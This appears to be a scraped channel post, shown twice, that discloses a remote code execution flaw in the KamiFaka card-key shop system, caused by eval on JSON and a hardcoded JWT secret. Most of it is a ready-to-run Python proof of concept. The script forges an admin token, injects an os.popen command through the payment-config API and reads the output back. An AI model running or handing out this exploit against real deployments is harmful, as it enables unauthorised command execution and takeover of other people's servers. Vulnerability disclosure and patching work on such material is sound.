踹哈公寓

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佰阅发卡存在RCE漏洞，省流：eval解析json+硬编码JWT secret

POC:

import requests

cmd = "ls /"
url = "http://xxx"
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6eyJlbWFpbCI6ImFkbWluQHFxLmNvbSJ9LCJleHAiOjE3NDQ4NzExNDZ9.jf8YjUqXWVschKPSvKjv7lcQZrhynLla6AWqH6WWavg"
resp = requests.post(
    url + "/api/v4/update_pays",
    headers={"Authorization": "Bearer " + jwt_token},
    json={
        "data": {
            # "config": f"[exec({payload!r}), f()][-1]",
            "config": f"__import__('os').popen({cmd!r}).read()",
            "icon": "\u652f\u4ed8\u5b9d",
            "id": 2,
            "info": "0\u8d39\u7387\u5b9e\u65f6\u5230\u8d26",
            "isactive": False,
            "name": "V\u514d\u7b7e\u652f\u4ed8\u5b9d",
        }
    },
)
resp = requests.get(
    url + "/api/v4/get_pays",
    headers={"Authorization": "Bearer " + jwt_token},
)
print([item["config"] for item in resp.json() if item.get("id") == 2].pop())

https://mp.weixin.qq.com/s/3fT7r6bHfzXs7vX0rMI54g

GitHub

GitHub - Baiyuetribe/kamiFaka: 一款基于VUE3.0的高颜值卡密发卡系统，特别适合虚拟商品、知识付费等。

一款基于VUE3.0的高颜值卡密发卡系统，特别适合虚拟商品、知识付费等。. Contribute to Baiyuetribe/kamiFaka development by creating an account on GitHub.

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1.54K viewsApr 16 at 07:19

佰阅发卡存在RCE漏洞，省流：eval解析json+硬编码JWT secret

POC:

import requests

cmd = "ls /"
url = "http://xxx"
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6eyJlbWFpbCI6ImFkbWluQHFxLmNvbSJ9LCJleHAiOjE3NDQ4NzExNDZ9.jf8YjUqXWVschKPSvKjv7lcQZrhynLla6AWqH6WWavg"
resp = requests.post(
    url + "/api/v4/update_pays",
    headers={"Authorization": "Bearer " + jwt_token},
    json={
        "data": {
            # "config": f"[exec({payload!r}), f()][-1]",
            "config": f"__import__('os').popen({cmd!r}).read()",
            "icon": "\u652f\u4ed8\u5b9d",
            "id": 2,
            "info": "0\u8d39\u7387\u5b9e\u65f6\u5230\u8d26",
            "isactive": False,
            "name": "V\u514d\u7b7e\u652f\u4ed8\u5b9d",
        }
    },
)
resp = requests.get(
    url + "/api/v4/get_pays",
    headers={"Authorization": "Bearer " + jwt_token},
)
print([item["config"] for item in resp.json() if item.get("id") == 2].pop())

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